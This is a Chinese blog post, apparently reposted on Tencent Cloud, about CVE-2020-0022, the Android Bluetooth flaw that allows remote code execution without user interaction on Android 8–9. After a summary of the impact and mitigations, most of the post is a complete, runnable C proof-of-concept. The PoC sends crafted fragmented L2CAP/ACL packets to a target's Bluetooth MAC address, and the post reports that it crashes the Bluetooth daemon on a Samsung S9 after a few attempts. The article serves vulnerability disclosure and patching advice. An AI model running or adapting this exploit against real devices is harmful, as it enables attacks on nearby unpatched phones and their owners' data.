首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >安卓蓝牙非交互漏洞POC还是来了(CVE-2020-0022)

安卓蓝牙非交互漏洞POC还是来了(CVE-2020-0022)

作者头像
洛米唯熊
发布于 2020-02-25 08:36:09
发布于 2020-02-25 08:36:09
2.4K00
代码可运行
举报
文章被收录于专栏:洛米唯熊洛米唯熊
运行总次数:0
代码可运行

0x00:概要

2019年11月3日,ERNW研究人员向谷歌安卓团队报告了一个影响安卓系统蓝牙组件的关键漏洞.该漏洞CVE编号为CVE-2020-0022,在本月发布的安全补丁中已经修复了该安全漏洞.

0x01:漏洞影响

在安卓8.0到9.0系统中,在蓝牙开启的情况下,远程攻击者在一定距离范围内可以以蓝牙守护程序的权限静默执行任意代码。整个过程无需用户交互,只需要知道目标设备的蓝牙MAC地址就可以了。而对一些设备,蓝牙的MAC地址可以通过WiFi MAC地址推算出来。该漏洞可能引发个人数据被窃,或用于传播恶意软件(短距离蠕虫)。

  • 在安卓10系统中,该漏洞无法被利用,但可能会引发蓝牙守护进程奔溃。
  • 低于安卓8.0的版本中也受到该漏洞的影响,但研究人员没有评估该影响。
  • 研究人员强烈建议用户安装官方2月份发布的补丁。如果无法安装补丁或设备不再支持,可以尝试一些通用的方法:
  • 非必需情况下不开启蓝牙。需要注意的是大多数蓝牙耳机都支持有线模拟音频。
  • 设置设备蓝牙为不可见。只有当在蓝牙扫描菜单中设置后设备才是可见的。但一些老版本的手机可能设置的是一直可见。

0x02:测试案例

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/uio.h>


int hci_send_acl_data(int hci_socket, uint16_t hci_handle, uint8_t *data, uint16_t data_length,uint16_t, uint16_t);

int main(int argc,char **argv) {
    bdaddr_t dst_addr;
    if (argc != 2){
      printf("usage: ./poc MAC_ADDR");
    }
    str2ba(argv[1], &dst_addr);
    struct hci_dev_info di;

    // Get HCI Socket
    printf("\nCreating HCI socket...\n");
    int hci_device_id = hci_get_route(NULL);
    int hci_socket = hci_open_dev(hci_device_id);
    if(hci_devinfo(hci_device_id,&di)< 0){
      perror("devinfo");
  exit(1);
    }
    uint16_t hci_handle;
    // -------- L2CAP Socket --------
    // local addr
    struct l2cap_conninfo l2_conninfo;
    int l2_sock;
    struct sockaddr_l2 laddr, raddr;
    laddr.l2_family = AF_BLUETOOTH;
    laddr.l2_bdaddr = di.bdaddr;
    laddr.l2_psm = htobs(0x1001);
    laddr.l2_cid = htobs(0x0040);

    // remote addr
    memset(&raddr, 0, sizeof(raddr));
    raddr.l2_family = AF_BLUETOOTH;
    raddr.l2_bdaddr = dst_addr;

    // create socket 
    printf("\nCreating l2cap socket...\n");
    if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0){
      perror("create l2cap socket");
  exit(1);
    }
    // bind and connect
    bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr));
    if(connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr))<0){
      perror("connect");
  exit(1);
    }
    socklen_t l2_conninfolen = sizeof(l2_conninfo);
    getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo, &l2_conninfolen);
    hci_handle = l2_conninfo.hci_handle;
    printf("fuck%d", hci_handle);

    // -------- L2CAP Socket --------

    // HCI Connect
    printf("\nCreating a HCI BLE connection...\n");
    printf("\nPrepare to send packet\n");
    uint16_t datalen = 30;
    uint16_t _bs_l2cap_len = htobs(datalen + 4);
    uint16_t _bs_cid = htobs(0x0001);
    uint8_t packet[4 + L2CAP_CMD_HDR_SIZE + datalen + 11];
    memcpy(&packet[0],&_bs_l2cap_len,2);
    memcpy(&packet[2],&_bs_cid,2);
    l2cap_cmd_hdr* cmd = (l2cap_cmd_hdr*) (packet+ 4);
    cmd->code = L2CAP_ECHO_REQ;
    cmd->ident = 0x01;
    cmd->len = htobs(datalen);
    memset(&packet[8], 0x99, datalen+11);
    printf("\nSending first packet\n");
    int i =0 ;
    hci_send_acl_data(hci_socket, hci_handle, &packet[i] , 8 + 4 ,0x0, 8 + 4 ); 
    i+=4;
    printf("\nSending second packet\n");
    hci_send_acl_data(hci_socket, hci_handle, &packet[i] , 12,0x1,12);
    i+=12;
    printf("\nSending third packet\n");
    hci_send_acl_data(hci_socket, hci_handle, &packet[i] , 12,0x1,12); 
    i+=12;
    hci_send_acl_data(hci_socket, hci_handle, &packet[i] , 11,0x1,11);


    printf("\nClosing HCI socket...\n");
    close(hci_socket);
    printf("\nClosing l2cap socket...\n");
    close(l2_sock);
    return 0;
}

int hci_send_acl_data(int hci_socket, uint16_t hci_handle, uint8_t *data, uint16_t data_length, uint16_t PBflag, uint16_t dlen){
    uint8_t type = HCI_ACLDATA_PKT;
    uint16_t BCflag = 0x0000;               // Broadcast flag
    //uint16_t PBflag = 0x0002;               // Packet Boundary flag
    uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F;       
    hci_acl_hdr hd;
    hd.handle = htobs(acl_handle_pack(hci_handle, flags));  
    //hd.dlen = (data_length);
    hd.dlen = dlen;
    struct iovec iv[3];
    int ivn = 3;

    iv[0].iov_base = &type;                 // Type of operation
    iv[0].iov_len = 1;                      // Size of ACL operation flag
    iv[1].iov_base = &hd;                   // Handle info + flags
    iv[1].iov_len = HCI_ACL_HDR_SIZE;       // L2CAP header length + data length
    iv[2].iov_base = data;                  // L2CAP header + data
    iv[2].iov_len = (data_length);          // L2CAP header length + data length

    while (writev(hci_socket, iv, ivn) < 0) {
        if (errno == EAGAIN || errno == EINTR)
            continue;
  perror("writev");
        return -1;
    }
    return 0;
}

测试代码为在树莓派3B作为攻击者且三星s9 plus hk(Android 9)作为受害者的情况下进行了测试

大约尝试3-7次,蓝牙proc将崩溃并重新启动

本次测试代码代表着POC还是来了

代码来源

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https://gist.github.com/leommxj/c9ba42e54faa9629cff5db3b4daeccef

0x03:预防

一、Android的安全补丁链接,其中一句话解决问题,检查并更新您的Android版本

https://source.android.com/security/bulletin/2020-02-01.html

二、没事把蓝牙关闭,用时再开。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-02-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 洛米唯熊 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Android 蓝牙源码学习笔记
上文介绍了蓝牙基本原理和潜在的攻击面,但实现部分介绍不多。本文作为补充,以 Android 中的蓝牙协议栈为例,学习并了解在实际系统中蓝牙的工程实现。
evilpan
2023/02/12
2.9K0
Android 蓝牙源码学习笔记
自己动手制作一个恶意流量检测系统(附源码)
0x0 成果展示 没有做日志记录因为时间关系。 我们假设恶意C2C服务器IP是220.181.38.148(百度的某个节点),某个木马的恶意流量特征是?? ?? ?? ??(? 匹配所有) 当我们要屏
FB客服
2019/12/05
2K0
Android 9.0 蓝牙配对流程
DeviceListPreferenceFragment是蓝牙扫描到的设备列表,点击其中一个蓝牙设备,调用onPreferenceTreeClick方法开始蓝牙的配对过程。
用户7557625
2020/07/15
2.4K0
蓝牙安全与攻击案例分析
本文是 2020 年中旬对于蓝牙技术栈安全研究的笔记,主要针对传统蓝牙和低功耗蓝牙在协议层和软件安全性上攻击面分析,并介绍了一些影响较大的蓝牙漏洞原理,比如协议层的 KNOB、BIAS 漏洞,软件实现上的 BlueBorne、SweynTooth 以及 BlueFrag 漏洞等。
evilpan
2023/02/12
2.6K0
蓝牙安全与攻击案例分析
window 下蓝牙开发[通俗易懂]
window 蓝牙开发资料真的是比较少,而且功能比较单一。使用window自带的蓝牙重连接真的是太慢了。找不到好的解决方法,很让人头痛呀! 下面提供的这点代码,也只是一个简单的功能,有这方面研究的朋友,希望能多多交流,多多指教
全栈程序员站长
2022/11/17
1.1K0
音频和视频流最佳选择?SRT 协议解析及报文识别
我们所知道 SRT 是由 Haivision 和 Wowza 开发的开源视频流协议。很多人会认为在不久的将来,它被是 RTMP 的替代品。因为 RTMP 协议安全性稍低,延迟相对较高 ,而相对于 SRT 协议支持高质量、稳定性、亚秒级延迟、强大的编解码器支持。SRT 被许多行业专家认为是视频流的新协议。SRT 究竟是什么?
玖柒的小窝
2021/09/29
2K0
音频和视频流最佳选择?SRT 协议解析及报文识别
CVE-2024-6387|OpenSSH远程代码执行漏洞
OpenSSH是SSH(Secure SHell)协议的免费开源实现。SSH协议族可以用来进行远程控制,或在计算机之间传送文件。而实现此功能的传统方式,如telnet(终端仿真协议)、rcp ftp、rlogin、rsh都是极为不安全的,并且会使用明文传送密码。
信安百科
2024/07/12
7020
CVE-2024-6387|OpenSSH远程代码执行漏洞
运用Npcap库实现SYN半开放扫描
Npcap 是一款高性能的网络捕获和数据包分析库,作为 Nmap 项目的一部分,Npcap 可用于捕获、发送和分析网络数据包。本章将介绍如何使用 Npcap 库来实现半开放扫描功能。TCP SYN 半开放扫描是一种常见且广泛使用的端口扫描技术,用于探测目标主机端口的开放状态。由于这种方法并不完成完整的 TCP 三次握手过程,因此具有更高的隐蔽性和扫描效率。
王 瑞
2024/08/10
2940
运用Npcap库实现SYN半开放扫描
C/C++ Npcap包实现数据嗅探
npcap 是Nmap自带的一个数据包处理工具,Nmap底层就是使用这个包进行收发包的,该库,是可以进行二次开发的,不过使用C语言开发费劲,在进行渗透任务时,还是使用Python构建数据包高效,这东西没啥意义.
王 瑞
2022/12/28
1.2K0
Kubernetes 中的 eBPF
BPF (Berkeley Packet Filter) 最早是用在 tcpdump 里面的,比如 tcpdump tcp and dst port 80 这样的过滤规则会单独复制 tcp 协议并且目的端口是 80 的包到用户态。整个实现是基于内核中的一个虚拟机来实现的,通过翻译 BPF 规则到字节码运行到内核中的虚拟机当中。最早的论文是这篇,这篇论文我大概翻了一下,主要讲的是原本的基于栈的过滤太重了,而 BPF 是一套能充分利用 CPU 寄存器,动态注册 filter 的虚拟机实现,相对于基于内存的实现更高效,不过那个时候的内存比较小才几十兆。bpf 会从链路层复制 pakcet 并根据 filter 的规则选择抛弃或者复制,字节码是这样的,具体语法就不介绍了,一般也不会去直接写这些字节码,然后通过内核中实现的一个虚拟机翻译这些字节码,注册过滤规则,这样不修改内核的虚拟机也能实现很多功能。
黑光技术
2020/05/14
1.4K0
Kubernetes 中的 eBPF
飞凌OK113i-C全志T113-i开发板 rtl8723du WIFI 功能测试及蓝牙驱动移植
飞凌 OK113i-C 全志T113-i开发板板载一个RTL8723du wifi/蓝牙二合一模块,板子出厂已经移植好了WIFI驱动但是蓝牙驱动没有,所以这篇文章我们主要做蓝牙驱动的移植和功能验证。
阿志小管家
2024/02/02
6661
golang网络框架netpoll(Multi-Reactor模型)核心源码分析
netpoll是字节不久前开源的一款golang编写的高性能网络框架(基于Multi-Reactor模型),旨在用于处理rpc场景,详细的介绍可参见下图介绍。
jaydenwen123
2022/03/30
4.2K1
golang网络框架netpoll(Multi-Reactor模型)核心源码分析
实例演绎Unix/Linux的"一切皆文件"思想
我们知道,在Unix/Linux系统中“一切皆文件”,socket也被认为是一种文件,socket被表示成文件描述符。
Linux阅码场
2019/09/24
2.5K0
实例演绎Unix/Linux的"一切皆文件"思想
Linux用户态协议栈与DPDK构建高性能应用
这里使用了已经搭建好的dpdk环境,dpdk的搭建过程网上有很多教程可以参考,后面有空再做一篇dpdk环境搭建文章吧! (1)检查网卡状态
Lion 莱恩呀
2024/09/15
5460
Linux用户态协议栈与DPDK构建高性能应用
内网隧道之icmpsh
最后更新于2013年,能通过ICMP协议请求/回复报文反弹cmd,不需要指定服务或者端口,也不用管理员权限,但反弹回来的cmd极不稳定
中龙技术
2022/09/29
5530
内网隧道之icmpsh
网络安全ICMP重定向攻击
第一条是缺省路由,意思是说,当一个数据包的目的网段不在路由记录中,那么,路由器该把那个数据包发送到哪里,缺省路由是由网关default gateway决定的。
matt
2022/10/25
1.3K0
网络安全ICMP重定向攻击
STM32+HC05串口蓝牙设计简易的蓝牙音箱
Android手机打开APP,设置好参数之后,选择音乐文件发送给蓝牙音箱设备端,HC05蓝牙收到数据之后,再传递给VS1053进行播放。程序里采用环形缓冲区,接收HC05蓝牙传递的数据,设置好传递的参数之后,基本播放音乐是很流畅的。
DS小龙哥
2022/01/17
1.8K0
STM32+HC05串口蓝牙设计简易的蓝牙音箱
进程间通讯(七).socket(2)
从 sin_zero[sizeof (struct sockaddr) - __SOCKADDR_COMMON_SIZE - sizeof (in_port_t) - sizeof (struct in_addr)] 中可以看出
franket
2021/09/15
6860
利用动态 tracing 技术来 trace 内核中的网络请求
这周帮朋友用 eBPF/SystemTap 这样的动态 tracing 工具做了一些很有趣的功能。这篇文章算是一个总结
青南
2021/06/23
2K0
利用动态 tracing 技术来 trace 内核中的网络请求
6.S081/6.828: xv6源码分析--networking
目的主机收到报文后会自底而上,层层处理,每一层header包含下一步处理的协议类型。
冰寒火
2022/11/20
1.1K0
相关推荐
Android 蓝牙源码学习笔记
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档